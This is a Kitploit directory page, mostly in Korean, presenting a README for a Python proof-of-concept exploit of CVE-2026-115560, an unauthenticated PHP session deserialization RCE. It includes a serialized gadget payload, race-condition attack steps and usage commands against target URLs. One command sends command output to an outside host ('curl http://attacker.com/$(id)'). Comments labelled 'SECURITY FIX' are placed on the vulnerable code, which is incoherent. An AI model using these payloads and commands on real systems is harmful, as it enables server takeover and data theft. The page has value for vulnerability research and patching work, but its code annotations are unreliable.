Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/llcforge/cve-2026-115560
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubllcforge/cve-2026-115560

CVE-2026-115560

Python PoC exploiting CVE-2026-115560, a PHP session upload-progress serialize-handler mismatch enabling unauthenticated object injection and RCE via a race-condition upload.

저장소 보기
2일 전아직 검토되지 않음
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-115560 -- PHP Session Upload Progress Serialize-Handler Mismatch (Unauthenticated RCE)

CVE CVSS CWE Language Status Author


Metadata

FieldValue
CVE IDCVE-2026-115560
VendorThe PHP Group
Affected VersionsPHP 7.x, 8.0 – 8.4.x (all builds with default session.upload_progress config)
Fixed VersionNo patch — official mitigation: session.upload_progress.enabled=0
Advisoryphp.net informational advisory 2026-10-23
CVSS 3.19.8 Critical
CWECWE-502 — Deserialization of Untrusted Data
Attack VectorNetwork
Auth RequiredNone (unauthenticated)
ImpactUnauthenticated Remote Code Execution via PHP object injection
Preconditionssession.upload_progress.enabled=1 (PHP default) + application switches serializer at runtime

Description

CVE-2026-115560 is an unauthenticated Remote Code Execution vulnerability in PHP's session extension, disclosed 2026-10-23 — two days after the PHP2Shell emergency releases (CVE-2026-109618 / CVE-2026-109619). It affects any PHP application where all three preconditions hold simultaneously:

  1. Server php.ini configures session.serialize_handler = php_binary or session.serialize_handler = php_serialize
  2. Application code calls ini_set('session.serialize_handler', 'php') before session_start()
  3. session.upload_progress.enabled = 1 (the PHP default)

The root cause is a serialize-handler mismatch: PHP's session upload progress subsystem runs pre-RINIT (before any application code) and writes the session file using the server-configured handler (php_serialize). When the application subsequently switches to the php handler and calls session_start(), it reads back the session file using the php deserializer, which splits on the first | character and unserializes everything after it.

Since the attacker controls the PHP_SESSION_UPLOAD_PROGRESS POST field value — which PHP stores as an unsanitized array key in the session file — they can inject a | followed by an arbitrary serialized PHP object. The php handler deserializes it, triggering __destruct / __wakeup gadget chains and achieving RCE.

The exploit is a concurrent two-request attack: one request trickles a large file upload (keeping the malicious session key alive in the session file), while a second request reads the session, triggering deserialization. With the default session.upload_progress.cleanup=1, the race window is kept open for the entire upload duration — achievable in the 13–38 second range with a multi-MB body.


Root Cause Deep Dive

php-src/ext/session/session.c          php-src/main/rfc1867.c
─────────────────────────────          ──────────────────────
php_session_rfc1867_callback()         MULTIPART_EVENT_FILE_START
  └─ php_rinit_session(0)              PS(serializer) = server ini (php_serialize)
  └─ php_session_rfc1867_update()
       └─ php_session_flush(1)         ← writes session file with php_serialize
            key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
            value = array(start_time, current_file, ...)

--- (upload still in flight) ---

Application code (application.php):
  ini_set('session.serialize_handler', 'php')   // SECURITY FIX: CWE-502 -- ini switch creates mismatch
  session_start()
    └─ PS_SERIALIZER_DECODE_FUNC(php)
         splits at first '|'
         unserialize(everything after '|')       ← attacker-controlled gadget chain
         __destruct() fires → RCE

Resulting session file (mid-upload)

a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
                            ^
                            php handler splits here and unserializes the rest

Vulnerable Code (PHP Session Extension)

/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
    /* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
    if (event == MULTIPART_EVENT_FILE_START) {
        php_rinit_session(0);           // uses server-configured serialize_handler
    }
    if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
        php_session_rfc1867_update(progress, 1);   // writes with server handler
        // PS(session_status) = php_session_none — not locked against handler re-init
    }
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php');  // switches handler AFTER rfc1867 write
session_start();                              // reads back with 'php', deserializes mismatch

Attack Flow

flowchart LR
    A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
    B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
    C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
    D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
    E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
    F -->|__destruct fires| G([RCE\ncode execution as www-data])
    style A fill:#1a0810,color:#e94560
    style G fill:#1a0810,color:#e94560
    style F fill:#3d0015,color:#fff
    style D fill:#1a2010,color:#7ec8a0

PoC Usage

pip install -r requirements.txt

# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v

# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v

# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
              --gadget ExecOnDestruct --upload-size 8 -o result.json

# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure

Flags

FlagDescription
-u / --urlTarget URL (the endpoint that calls ini_set + session_start)
-c / --cmdOS command to execute via RCE gadget
--gadgetPHP class name to inject (default: ExecOnDestruct)
--upload-sizeUpload body size in MiB to hold race window open (default: 4)
--upload-chunkBytes per chunk / sleep interval to slow upload (default: 16384 / 0.1s)
--threadsConsumer threads hitting session endpoint (default: 4)
--session-idUse specific PHPSESSID (default: auto-generated)
--check-onlyDetect preconditions without triggering exploit
--timeoutPer-request timeout in seconds (default: 60)
--proxyHTTP/HTTPS proxy for all requests
--insecureSkip TLS certificate verification
-o / --outputSave results to JSON
-v / --verboseVerbose output

Impact

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer는 오픈소스 권한 접근 관리(PAM) 플랫폼으로, DevOps 및 IT 팀이 웹 브라우저를 통해 SSH, RDP, Kubernetes, 데이터베이스 및 RemoteApp 엔드포인트에 주문형 보안 액세스를 제공합니다.

    389
  • 5

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    333
  • 6

    SafeLine

    chaitin/safeline

    악성 HTTP 트래픽을 필터링하고 SQL 인젝션, XSS, 봇 공격을 차단하며, 속도 제한 및 동적 HTML/JS 암호화를 제공하는 자체 호스팅 WAF 및 리버스 프록시입니다.

    331

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →